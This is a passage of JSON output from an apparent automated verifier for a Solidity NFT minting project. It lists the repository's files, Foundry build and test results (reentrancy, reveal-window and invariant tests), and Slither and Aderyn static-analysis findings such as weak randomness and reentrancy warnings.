png\":411,\"artwork/genesis/genesis-25.png\":393,\"artwork/genesis/genesis-26.png\":390,\"artwork/genesis/genesis-27.png\":386,\"artwork/genesis/genesis-28.png\":402,\"artwork/genesis/genesis-29.png\":375,\"artwork/genesis/genesis-30.png\":369,\"artwork/genesis/genesis-31.png\":421,\"artwork/genesis/genesis-32.png\":338,\"artwork/genesis/genesis-33.png\":389,\"artwork/genesis/genesis-34.png\":365,\"artwork/genesis/genesis-35.png\":352,\"artwork/genesis/genesis-36.png\":384,\"artwork/genesis/genesis-37.png\":365,\"artwork/genesis/genesis-38.png\":438,\"artwork/genesis/genesis-39.png\":374,\"artwork/genesis/genesis-40.png\":411,\"artwork/genesis/genesis-41.png\":380,\"artwork/genesis/genesis-42.png\":377,\"artwork/genesis/genesis-43.png\":399,\"artwork/genesis/genesis-44.png\":385,\"artwork/genesis/genesis-45.png\":352,\"artwork/genesis/genesis-46.png\":343,\"artwork/genesis/genesis-47.png\":362,\"artwork/genesis/genesis-48.png\":408,\"artwork/genesis/genesis-49.png\":325,\"artwork/genesis/genesis-50.png\":433,\"artwork/genesis/genesis-51.png\":377,\"artwork/genesis/genesis-52.png\":376,\"artwork/genesis/genesis-53.png\":401,\"artwork/genesis/genesis-54.png\":389,\"artwork/genesis/genesis-55.png\":361,\"artwork/genesis/genesis-56.png\":332,\"artwork/genesis/genesis-57.png\":414,\"artwork/genesis/genesis-58.png\":405,\"artwork/genesis/genesis-59.png\":409,\"artwork/genesis/genesis-60.png\":405,\"artwork/genesis/genesis-61.png\":369,\"artwork/genesis/genesis-62.png\":366,\"artwork/genesis/genesis-63.png\":379,\"artwork/genesis/genesis-64.png\":425,\"artwork/genesis/genesis-65.png\":406,\"artwork/genesis/genesis-66.png\":413,\"artwork/genesis/genesis-67.png\":350,\"artwork/genesis/genesis-68.png\":404,\"artwork/genesis/genesis-69.png\":392,\"artwork/genesis/genesis-70.png\":378,\"artwork/genesis/genesis-71.png\":401,\"artwork/genesis/genesis-72.png\":355,\"artwork/genesis/genesis-73.png\":405,\"artwork/genesis/genesis-74.png\":394,\"artwork/genesis/genesis-75.png\":390,\"artwork/genesis/genesis-76.png\":424,\"artwork/genesis/genesis-77.png\":381,\"artwork/tools/generate_genesis.py\":206,\"docs/LAUNCH.md\":95,\"docs/SECURITY-REVIEW.md\":92,\"docs/TEST-RESULTS.md\":73,\"docs/genesis-verification.json\":932,\"docs/website-preservation.json\":33,\"foundry.toml\":25,\"launch.json\":13,\"remappings.txt\":3,\"script/Deploy.s.sol\":31,\"script/export_website_abi.py\":30,\"script/verify_genesis.py\":75,\"src/BMCIlluminatiPass.sol\":350,\"src/StandardArt.sol\":236,\"src/interfaces/IBMCToken.sol\":18,\"test/BMCIlluminatiPass.t.sol\":649,\"test/BMCMainnetFork.t.sol\":76,\"test/FactoryCompatibility.t.sol\":38,\"test/mocks/MockBMC.sol\":42,\"test/tools/test_artwork.py\":49,\"test/tools/test_routes.py\":45,\"test/website/contract-integration.test.cjs\":90,\"test/website/harness.cjs\":121,\"test/website/mint-client.test.cjs\":155,\"test/website/page.test.cjs\":95,\"website/app.js\":141,\"website/assets/index-C3VUAmkN.js\":44,\"website/assets/index-CPnoBN9P.css\":1,\"website/bmc-abi.js\":127,\"website/config.js\":25,\"website/favicon-32.png\":5,\"website/favicon.svg\":1,\"website/index.html\":31,\"website/mint-client.js\":369,\"website/mint-nav.css\":4,\"website/mint-nav.js\":16,\"website/mint/index.html\":135,\"website/og.png\":233,\"website/pass-abi.js\":1137,\"website/styles.css\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"9eefe571c157d5b1659530ec0a019886e04bb5ce40cae01927d530615439fcc6","verifiedTreeHash":"7479ec29b9268b4a9e1b8817a0339b34b7fa4b16","verifierVersion":"0.1.0+f0753cb7"},{"checks":[{"durationMs":3237,"exitCode":0,"name":"build","output":"Compiling 48 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.09s\nCompiler run successful!\n","passed":true},{"durationMs":455,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/BMCMainnetFork.t.sol:BMCMainnetForkTest\n[SKIP] test_RealBMCGenesisMint() (gas: 0)\n[SKIP] test_RealBMCMysteryMint() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 2 skipped; finished in 578.22µs (221.04µs CPU time)\n\nRan 1 test for test/FactoryCompatibility.t.sol:FactoryCompatibilityTest\n[PASS] test_StaticConstructorOnEmptyChainAndRuntimePolicy() (gas: 12842708)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 25.74ms (25.49ms CPU time)\n\nRan 33 tests for test/BMCIlluminatiPass.t.sol:BMCIlluminatiPassTest\n[PASS] testFuzz_SingleRevealAlwaysInInventory(uint256) (runs: 64, μ: 10734334, ~: 10732294)\n[PASS] test_AuditCIDIsFixedAndNoPostDeploymentConfigurationExists() (gas: 10127929)\n[PASS] test_AuditElevenMysteryMintsRevealWithoutAnyExternalService() (gas: 14223854)\n[PASS] test_BlockZeroDoesNotUnderflowRandomnessInput() (gas: 10690799)\n[PASS] test_Constants() (gas: 82525)\n[PASS] test_ConstructorRejectsZeroOwnerAndToken() (gas: 6423)\n[PASS] test_DeployScriptConfig() (gas: 8624378)\n[PASS] test_DeployScriptRequiresOwner() (gas: 4619355)\n[PASS] test_ExcessAllowanceOnlyBurnsPrice() (gas: 341744)\n[PASS] test_FirstMinterGetsLegendaryGenesis1() (gas: 2070077)\n[PASS] test_Full500MintSimulation() (gas: 154526649)\n[PASS] test_FullMintOutInSameBlock() (gas: 131557506)\n[PASS] test_GenesisRevertsAfterPhase1() (gas: 10531443)\n[PASS] test_Mints2To40AreSequentialGenesis() (gas: 14428551)\n[PASS] test_MysteryMetadataPermanentAcrossBlocksAndTransfers() (gas: 11707962)\n[PASS] test_MysteryRevertsDuringPhase1() (gas: 455741)\n[PASS] test_NoOwnerMintOrWithdrawSurface() (gas: 58240)\n[PASS] test_Phase1CostsExactlyOneMillion() (gas: 390314)\n[PASS] test_Phase2CostsExactly350k() (gas: 10804338)\n[PASS] test_ReentrancyAcrossPhaseBoundaryRollsBackEverything() (gas: 10310428)\n[PASS] test_ReentrancyGenesisBlocked() (gas: 877241)\n[PASS] test_ReentrancyMysteryBlocked() (gas: 11256522)\n[PASS] test_RevertInsufficientAllowance() (gas: 179198)\n[PASS] test_RevertInsufficientBalance() (gas: 193181)\n[PASS] test_RevertNoAllowance() (gas: 144285)\n[PASS] test_RevertWhenTokenDecimalsUnexpected() (gas: 726216)\n[PASS] test_RevertWhenTokenDoesNotActuallyBurn() (gas: 742771)\n[PASS] test_StandardArtCombinationsUnique() (gas: 1482916)\n[PASS] test_StandardArtCoversEveryTrait() (gas: 743743)\n[PASS] test_StandardArtRendersWithoutGenesisTraits() (gas: 30070199)\n[PASS] test_StandardMetadataAfterReveal() (gas: 19295368)\n[PASS] test_TransfersAreStandard() (gas: 469439)\n[PASS] test_ViewsRevertForNonexistent() (gas: 33646)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 288.29ms (935.91ms CPU time)\n\nRan 3 test suites in 290.08ms (314.61ms CPU time): 34 tests passed, 0 failed, 2 skipped (36 total tests)\n","passed":true},{"durationMs":1538,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BMCIlluminatiPass.approve(address,uint256)\",\"BMCIlluminatiPass.mintGenesis()\",\"BMCIlluminatiPass.mintMystery()\",\"BMCIlluminatiPass.renounceOwnership()\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256)\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256,bytes)\",\"BMCIlluminatiPass.setApprovalForAll(address,bool)\",\"BMCIlluminatiPass.transferFrom(address,address,uint256)\",\"BMCIlluminatiPass.transferOwnership(address)\"],\"files\":{\".github/workflows/main.yml\":45,\".gitignore\":5,\"ADAPTATION.md\":134,\"README.md\":120,\"artwork/genesis/genesis-01.png\":7910,\"artwork/genesis/genesis-02.png\":6998,\"artwork/genesis/genesis-03.png\":7016,\"artwork/genesis/genesis-04.png\":6664,\"artwork/genesis/genesis-05.png\":7186,\"artwork/genesis/genesis-06.png\":6703,\"artwork/genesis/genesis-07.png\":6488,\"artwork/genesis/genesis-08.png\":6807,\"artwork/genesis/genesis-09.png\":6793,\"artwork/genesis/genesis-10.png\":6550,\"artwork/genesis/genesis-11.png\":6125,\"artwork/genesis/genesis-12.png\":6418,\"artwork/genesis/genesis-13.png\":6298,\"artwork/genesis/genesis-14.png\":5909,\"artwork/genesis/genesis-15.png\":6142,\"artwork/genesis/genesis-16.png\":5727,\"artwork/genesis/genesis-17.png\":6019,\"artwork/genesis/genesis-18.png\":399,\"artwork/genesis/genesis-19.png\":369,\"artwork/genesis/genesis-20.png\":359,\"artwork/genesis/genesis-21.png\":330,\"artwork/genesis/genesis-22.png\":385,\"artwork/genesis/genesis-23.png\":391,\"artwork/genesis/genesis-24.png\":411,\"artwork/genesis/genesis-25.png\":393,\"artwork/genesis/genesis-26.png\":390,\"artwork/genesis/genesis-27.png\":386,\"artwork/genesis/genesis-28.png\":402,\"artwork/genesis/genesis-29.png\":375,\"artwork/genesis/genesis-30.png\":369,\"artwork/genesis/genesis-31.png\":421,\"artwork/genesis/genesis-32.png\":338,\"artwork/genesis/genesis-33.png\":389,\"artwork/genesis/genesis-34.png\":365,\"artwork/genesis/genesis-35.png\":352,\"artwork/genesis/genesis-36.png\":384,\"artwork/genesis/genesis-37.png\":365,\"artwork/genesis/genesis-38.png\":438,\"artwork/genesis/genesis-39.png\":374,\"artwork/genesis/genesis-40.png\":411,\"artwork/genesis/genesis-41.png\":380,\"artwork/genesis/genesis-42.png\":377,\"artwork/genesis/genesis-43.png\":399,\"artwork/genesis/genesis-44.png\":385,\"artwork/genesis/genesis-45.png\":352,\"artwork/genesis/genesis-46.png\":343,\"artwork/genesis/genesis-47.png\":362,\"artwork/genesis/genesis-48.png\":408,\"artwork/genesis/genesis-49.png\":325,\"artwork/genesis/genesis-50.png\":433,\"artwork/genesis/genesis-51.png\":377,\"artwork/genesis/genesis-52.png\":376,\"artwork/genesis/genesis-53.png\":401,\"artwork/genesis/genesis-54.png\":389,\"artwork/genesis/genesis-55.png\":361,\"artwork/genesis/genesis-56.png\":332,\"artwork/genesis/genesis-57.png\":414,\"artwork/genesis/genesis-58.png\":405,\"artwork/genesis/genesis-59.png\":409,\"artwork/genesis/genesis-60.png\":405,\"artwork/genesis/genesis-61.png\":369,\"artwork/genesis/genesis-62.png\":366,\"artwork/genesis/genesis-63.png\":379,\"artwork/genesis/genesis-64.png\":425,\"artwork/genesis/genesis-65.png\":406,\"artwork/genesis/genesis-66.png\":413,\"artwork/genesis/genesis-67.png\":350,\"artwork/genesis/genesis-68.png\":404,\"artwork/genesis/genesis-69.png\":392,\"artwork/genesis/genesis-70.png\":378,\"artwork/genesis/genesis-71.png\":401,\"artwork/genesis/genesis-72.png\":355,\"artwork/genesis/genesis-73.png\":405,\"artwork/genesis/genesis-74.png\":394,\"artwork/genesis/genesis-75.png\":390,\"artwork/genesis/genesis-76.png\":424,\"artwork/genesis/genesis-77.png\":381,\"artwork/tools/generate_genesis.py\":206,\"docs/LAUNCH.md\":95,\"docs/SECURITY-REVIEW.md\":92,\"docs/TEST-RESULTS.md\":73,\"docs/genesis-verification.json\":932,\"docs/website-preservation.json\":33,\"foundry.toml\":25,\"remappings.txt\":3,\"script/Deploy.s.sol\":31,\"script/export_website_abi.py\":30,\"script/verify_genesis.py\":75,\"src/BMCIlluminatiPass.sol\":350,\"src/StandardArt.sol\":236,\"src/interfaces/IBMCToken.sol\":18,\"test/BMCIlluminatiPass.t.sol\":649,\"test/BMCMainnetFork.t.sol\":76,\"test/FactoryCompatibility.t.sol\":38,\"test/mocks/MockBMC.sol\":42,\"test/tools/test_artwork.py\":49,\"test/tools/test_routes.py\":45,\"test/website/contract-integration.test.cjs\":90,\"test/website/harness.cjs\":121,\"test/website/mint-client.test.cjs\":155,\"test/website/page.test.cjs\":95,\"website/app.js\":141,\"website/assets/index-C3VUAmkN.js\":44,\"website/assets/index-CPnoBN9P.css\":1,\"website/bmc-abi.js\":127,\"website/config.js\":25,\"website/favicon-32.png\":5,\"website/favicon.svg\":1,\"website/index.html\":31,\"website/mint-client.js\":369,\"website/mint-nav.css\":4,\"website/mint-nav.js\":16,\"website/mint/index.html\":135,\"website/og.png\":233,\"website/pass-abi.js\":1137,\"website/styles.css\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":2564,"exitCode":0,"name":"slither","output":"[high/medium] weak-prng at src/BMCIlluminatiPass.sol:184: BMCIlluminatiPass._draw(uint256,uint256) (src/BMCIlluminatiPass.sol#184-208) uses a weak PRNG: \"r = uint256(keccak256(bytes)(abi.encode(word,tokenId))) % remaining (src/BMCIlluminatiPass.sol#186)\"\n[high/medium] reentrancy-balance at src/BMCIlluminatiPass.sol:169: Reentrancy in BMCIlluminatiPass._burnExact(address,uint256) (src/BMCIlluminatiPass.sol#169-181):\n[medium/high] incorrect-equality at src/BMCIlluminatiPass.sol:210: BMCIlluminatiPass._slotValue(uint256) (src/BMCIlluminatiPass.sol#210-213) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BMCIlluminatiPass.sol:149: BMCIlluminatiPass.mintMystery() (src/BMCIlluminatiPass.sol#149-166) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/BMCIlluminatiPass.sol:132: Reentrancy in BMCIlluminatiPass.mintGenesis() (src/BMCIlluminatiPass.sol#132-145):\n[medium/medium] reentrancy-no-eth at src/BMCIlluminatiPass.sol:149: Reentrancy in BMCIlluminatiPass.mintMystery() (src/BMCIlluminatiPass.sol#149-166):\n[low/medium] reentrancy-benign at src/BMCIlluminatiPass.sol:149: Reentrancy in BMCIlluminatiPass.mintMystery() (src/BMCIlluminatiPass.sol#149-166):\n[low/medium] reentrancy-benign at src/BMCIlluminatiPass.sol:169: Reentrancy in BMCIlluminatiPass._burnExact(address,uint256) (src/BMCIlluminatiPass.sol#169-181):\n[low/medium] reentrancy-benign at src/BMCIlluminatiPass.sol:132: Reentrancy in BMCIlluminatiPass.mintGenesis() (src/BMCIlluminatiPass.sol#132-145):\n[low/medium] timestamp at src/BMCIlluminatiPass.sol:184: BMCIlluminatiPass._draw(uint256,uint256) (src/BMCIlluminatiPass.sol#184-208) uses timestamp for comparisons\n[low/medium] timestamp at src/BMCIlluminatiPass.sol:210: BMCIlluminatiPass._slotValue(uint256) (src/BMCIlluminatiPass.sol#210-213) uses timestamp for comparisons","passed":true},{"durationMs":664,"exitCode":0,"name":"aderyn","output":"[high] weak-randomness at src/BMCIlluminatiPass.sol:155: Weak Randomness (2 places)\n[low] centralization-risk at src/BMCIlluminatiPass.sol:29: Centralization Risk\n[low] internal-function-used-once at src/StandardArt.sol:59: Internal Function Used Only Once (5 places)\n[low] large-numeric-literal at src/BMCIlluminatiPass.sol:63: Large Numeric Literal (3 places)\n[low] literal-instead-of-constant at src/StandardArt.sol:36: Literal Instead of Constant (27 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"9f076d8f6deb1b29da5b49583428b060f34e4860a38fbedd805faeda4e378020","verifiedTreeHash":"20261ba3c608b5b7dc984a8bcedac39df08b1912","verifierVersion":"0.1.0+f0753cb7"},{"checks":[{"durationMs":5500,"exitCode":0,"name":"build","output":"Compiling 52 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.37s\nCompiler run successful!\n","passed":true},{"durationMs":16318,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/BMCMainnetFork.t.sol:BMCMainnetForkTest\n[SKIP] test_RealBMCGenesisMint() (gas: 0)\n[SKIP] test_RealBMCMysteryMint() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 2 skipped; finished in 4.09ms (7.20ms CPU time)\n\nRan 1 test for test/FactoryCompatibility.t.sol:FactoryCompatibilityTest\n[PASS] test_StaticConstructorOnEmptyChainAndRuntimePolicy() (gas: 14869963)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 33.44ms (33.23ms CPU time)\n\nRan 45 tests for test/BMCIlluminatiPass.t.sol:BMCIlluminatiPassTest\n[PASS] testFuzz_SingleRevealAlwaysInInventory(uint256) (runs: 64, μ: 10883738, ~: 10881694)\n[PASS] test_AuditCIDIsFixedAndNoPostDeploymentConfigurationExists() (gas: 10155152)\n[PASS] test_AuditElevenMysteryMintsRevealWithoutAnyExternalService() (gas: 14382493)\n[PASS] test_BlockZeroMintAndRevealDoNotUnderflow() (gas: 10850025)\n[PASS] test_Constants() (gas: 98884)\n[PASS] test_ConstructorRejectsZeroOwnerAndToken() (gas: 6357)\n[PASS] test_DeployScriptConfig() (gas: 9698558)\n[PASS] test_DeployScriptRequiresOwner() (gas: 5161752)\n[PASS] test_ExcessAllowanceOnlyBurnsPrice() (gas: 344150)\n[PASS] test_ExpiredRevealWindowSettlesAsStandard() (gas: 10910131)\n[PASS] test_ExpiredWindowWithOnlyGenesisLeftStillSettles() (gas: 144462892)\n[PASS] test_FirstMinterGetsLegendaryGenesis1() (gas: 2072505)\n[PASS] test_Full500MintSimulation() (gas: 184840198)\n[PASS] test_FullMintOutInSameBlockThenBatchReveal() (gas: 137928389)\n[PASS] test_GenesisRevertsAfterPhase1() (gas: 10630624)\n[PASS] test_HistoryContractExtendsRevealWindowBeyond256Blocks() (gas: 11376808)\n[PASS] test_LaunchGate_MainnetDeploymentIsClosedUntilOwnerOpens() (gas: 482787)\n[PASS] test_LaunchGate_OnlyOwnerOpensAndNothingCanCloseAgain() (gas: 510149)\n[PASS] test_LaunchGate_RehearsalChainIsOpenFromConstruction() (gas: 13475)\n[PASS] test_Mints2To40AreSequentialGenesis() (gas: 14524478)\n[PASS] test_MysteryMetadataPermanentAcrossBlocksAndTransfers() (gas: 11899645)\n[PASS] test_MysteryRevertsDuringPhase1() (gas: 460312)\n[PASS] test_NoOwnerMintOrWithdrawSurface() (gas: 60429)\n[PASS] test_PendingMetadataIsNeutralAndFinalMetadataIsPermanent() (gas: 17242967)\n[PASS] test_Phase1CostsExactlyOneMillion() (gas: 392610)\n[PASS] test_Phase2CostsExactly350k() (gas: 11075577)\n[PASS] test_ReentrancyAcrossPhaseBoundaryRollsBackEverything() (gas: 10407485)\n[PASS] test_ReentrancyGenesisBlocked() (gas: 879622)\n[PASS] test_ReentrancyMysteryBlocked() (gas: 11283768)\n[PASS] test_RevealIsInMintOrderAndBatched() (gas: 11602844)\n[PASS] test_RevealOutcomeDependsOnlyOnTheRevealBlockHash() (gas: 11002794)\n[PASS] test_RevealWaitsForTheBlockAfterTheMint() (gas: 10971867)\n[PASS] test_RevertInsufficientAllowance() (gas: 181344)\n[PASS] test_RevertInsufficientBalance() (gas: 195194)\n[PASS] test_RevertNoAllowance() (gas: 146386)\n[PASS] test_RevertWhenTokenDecimalsUnexpected() (gas: 728406)\n[PASS] test_RevertWhenTokenDoesNotActuallyBurn() (gas: 744828)\n[PASS] test_RevertingRevealCallerCannotReroll() (gas: 10998773)\n[PASS] test_SelectiveCallerCannotChooseMysteryOutcome() (gas: 150693868)\n[PASS] test_StandardArtCombinationsUnique() (gas: 1482850)\n[PASS] test_StandardArtCoversEveryTrait() (gas: 743744)\n[PASS] test_StandardArtRendersWithoutGenesisTraits() (gas: 30070155)\n[PASS] test_StandardMetadataAfterReveal() (gas: 19600611)\n[PASS] test_TransfersAreStandard() (gas: 471936)\n[PASS] test_ViewsRevertForNonexistent() (gas: 33624)\nSuite result: ok. 45 passed; 0 failed; 0 skipped; finished in 792.68ms (1.76s CPU time)\n\nRan 25 tests for test/BMCIlluminatiPassEdges.t.sol:BMCIlluminatiPassEdgesTest\n[PASS] testFuzz_ExactPriceIsChargedWhateverTheSurplus(uint256,uint256) (runs: 256, μ: 361596, ~: 361655)\nLogs:\n  Bound result 12063592453718016540\n  Bound result 10483752884491803341501423271084841112912098847126099084301999353421258\n\n[PASS] testFuzz_NaturalOutcomeIndependentOfCallerBatchAndClock(bytes32,uint8,uint16) (runs: 128, μ: 11008074, ~: 11002873)\n[PASS] testFuzz_RevealCountIsMinOfRequestAndFinalized(uint8,uint8,uint16) (runs: 256, μ: 16392729, ~: 15697811)\nLogs:\n  Bound result 19\n  Bound result 4\n\n[PASS] test_BrokenHistoryContractFallsBackToForcedStandard() (gas: 11563407)\n[PASS] test_ForcedOutcomeIsDeterministicAcrossTimeAndCaller() (gas: 11005470)\n[PASS] test_GenesisFileNamesAreZeroPaddedForAllForty() (gas: 62746601)\n[PASS] test_HistoryWindowBoundary_Age8191Natural_Age8192Forced() (gas: 11445746)\n[PASS] test_MainnetGateBlocksRevealOfNothingButNotViews() (gas: 220545)\n[PASS] test_MintToRejectingReceiverRollsBackTheBurn() (gas: 916062)\n[PASS] test_MysteryGenesisFileNameMatchesArtwork41To77() (gas: 16520286)\n[PASS] test_NativeWindowBoundary_Age256SettlesFromHash_Age257IsForced() (gas: 11156617)\n[PASS] test_OpenMintingOnRehearsalChainIsAlreadyOpenForOwnerAndUnauthorizedForOthers() (gas: 68977)\n[PASS] test_OwnershipTransferDoesNotTouchTheGateOrMints() (gas: 438665)\n[PASS] test_PendingTokenTransferKeepsItsRevealSchedule() (gas: 10944639)\n[PASS] test_RevealInsideMintCallbackCannotSettleTheNewToken() (gas: 11404000)\n[PASS] test_RevealWithNothingMintedOrOnlyGenesisReturnsZero() (gas: 381949)\n[PASS] test_RevealZeroCountIsANoopEvenWithFinalizedTokens() (gas: 10748631)\n[PASS] test_StandardSVGRevertsForGenesisAndPendingTokens() (gas: 10757806)\n[PASS] test_TokenBurningFromSomebodyElseIsRejected() (gas: 1104386)\n[PASS] test_TokenBurningOneUnitLessIsRejected() (gas: 1099782)\n[PASS] test_TokenFaultMidCollectionDoesNotCorruptAccounting() (gas: 1548147)\n[PASS] test_TokenRemintingToASinkIsRejected() (gas: 1127809)\n[PASS] test_TokenRevertingInBurnFromBubblesUp() (gas: 1075125)\n[PASS] test_TokenWithoutDecimalsFunctionIsRejected() (gas: 413293)\n[PASS] test_ViewsAtThePhaseBoundary() (gas: 10816090)\nSuite result: ok. 25 passed; 0 failed; 0 skipped; finished in 792.71ms (1.79s CPU time)\n\nRan 3 tests for test/invariants/BMCIlluminatiPass.invariants.t.sol:BMCIlluminatiPassHistoryInvariants\n[PASS]\nBMCIlluminatiPassHistoryInvariants invariants:\n[PASS] invariant_actorsOnlyPayForMints\n[PASS] invariant_burnConservation\n[PASS] invariant_burnMatchesMintCount\n[PASS] invariant_gateIsOneWayAndClosedMeansNothingMinted\n[PASS] invariant_revealAccounting\n[PASS] invariant_supplyBoundsAndViews\n[PASS] invariant_tokenStateFollowsRevealOrder\n[PASS] invariant_tokensHeldByActors\n BMCIlluminatiPassHistoryInvariants invariants (runs: 24, calls: 2880, reverts: 0)\n\n╭-------------+------------------+-------+---------+----------╮\n| Contract    | Selector         | Calls | Reverts | Discards |\n+=============================================================+\n| PassHandler | advanceBlocks    | 214   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | jumpPastWindow   | 216   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintGenesis      | 221   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintGenesisBatch | 202   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintMystery      | 227   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintMysteryBatch | 451   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintUnderfunded  | 222   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | openMinting      | 219   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | reveal           | 480   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | setTokenMode     | 211   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | transfer         | 217   | 0       | 0        |\n╰-------------+------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 9\n  Bound result 0\n  Bound result 20\n  Bound result 3\n  Bound result 7\n  Bound result 3\n  Bound result 3\n  Bound result 444\n  Bound result 0\n  Bound result 2\n  Bound result 1431\n  Bound result 9\n  Bound result 0\n  Bound result 5\n  Bound result 3\n  Bound result 3\n  Bound result 7\n  Bound result 0\n  Bound result 17\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 0\n  Bound result 100\n  Bound result 0\n  Bound result 698413240202673763\n  Bound result 4\n  Bound result 5\n  Bound result 3\n  Bound result 60\n  Bound result 2\n  Bound result 3735928559\n  Bound result 13\n  Bound result 399\n  Bound result 0\n  Bound result 183\n  Bound result 1\n  Bound result 13\n  Bound result 3\n  Bound result 0\n  Bound result 304\n  Bound result 1\n  Bound result 3\n  Bound result 1\n  Bound result 3\n  Bound result 1\n  Bound result 1\n  Bound result 4\n  Bound result 1\n  Bound result 5\n  Bound result 130\n  Bound result 1\n  Bound result 0\n  Bound result 0\n  Bound result 54216948048039321236602\n  Bound result 292\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 0\n  Bound result 8\n  Bound result 0\n  Bound result 30\n  Bound result 2\n  Bound result 11\n  Bound result 0\n  Bound result 9\n  Bound result 0\n  Bound result 3\n  Bound result 420\n  Bound result 1\n  Bound result 13\n  Bound result 0\n  Bound result 3\n  Bound result 0\n  Bound result 230\n  Bound result 5\n  Bound result 2\n  Bound result 16\n  Bound result 0\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 17\n  Bound result 1\n  Bound result 5\n  Bound result 2\n  Bound result 33\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 3\n  Bound result 1\n  Bound result 7\n  Bound result 0\n  Bound result 2\n  Bound result 2\n  Bound result 268441559945812464527103\n  Bound result 284\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 17\n  Bound result 1\n  Bound result 1\n  Bound result 427\n  Bound result 0\n  Bound result 4\n  Bound result 6\n  Bound result 264\n  Bound result 0\n  Bound result 5\n  Bound result 3\n  Bound result 44\n  Bound result 3\n  Bound result 5\n  Bound result 125\n  Bound result 1\n  Bound result 250\n  Bound result 0\n  Bound result 16\n  Bound result 0\n  Bound result 0\n  Bound result 2\n  Bound result 1\n  Bound result 7\n  Bound result 3\n  Bound result 3\n  Bound result 7\n  Bound result 2\n  Bound result 0\n  Bound result 2522\n  Bound result 52\n  Bound result 2\n  Bound result 1\n  Bound result 7\n  Bound result 1\n  Bound result 3\n  Bound result 1\n  Bound result 32\n  Bound result 0\n  Bound result 153\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 0\n  Bound result 12082\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 7\n  Bound result 3\n  Bound result 66\n  Bound result 0\n  Bound result 1\n  Bound result 186\n  Bound result 3\n  Bound result 1\n  Bound result 2\n  Bound result 140\n  Bound result 1\n  Bound result 3\n  Bound result 1\n  Bound result 5\n  Bound result 2\n  Bound result 0\n  Bound result 2\n  Bound result 1\n  Bound result 19\n  Bound result 2\n  Bound result 402\n  Bound result 2\n  Bound result 12\n  Bound result 3\n  Bound result 1\n  Bound result 3\n  Bound result 8\n  Bound result 3\n  Bound result 18\n  Bound result 2\n  Bound result 256\n\n[PASS] test_HistoryPathIsExercised() (gas: 16623211)\nLogs:\n  Bound result 10\n  Bound result 0\n  Bound result 10\n  Bound result 1\n  Bound result 10\n  Bound result 2\n  Bound result 10\n  Bound result 3\n  Bound result 3\n  Bound result 0\n  Bound result 300\n  Bound result 10\n  Bound result 0\n  Bound result 2\n  Bound result 1\n  Bound result 10\n  Bound result 0\n\n[PASS] test_ScriptedSelloutReachesEveryInvariant() (gas: 144942494)\nLogs:\n  Bound result 1\n  Bound result 7\n  Bound result 10\n  Bound result 0\n  Bound result 10\n  Bound result 1\n  Bound result 10\n  Bound result 2\n  Bound result 10\n  Bound result 3\n  Bound result 3\n  Bound result 2\n  Bound result 8\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound 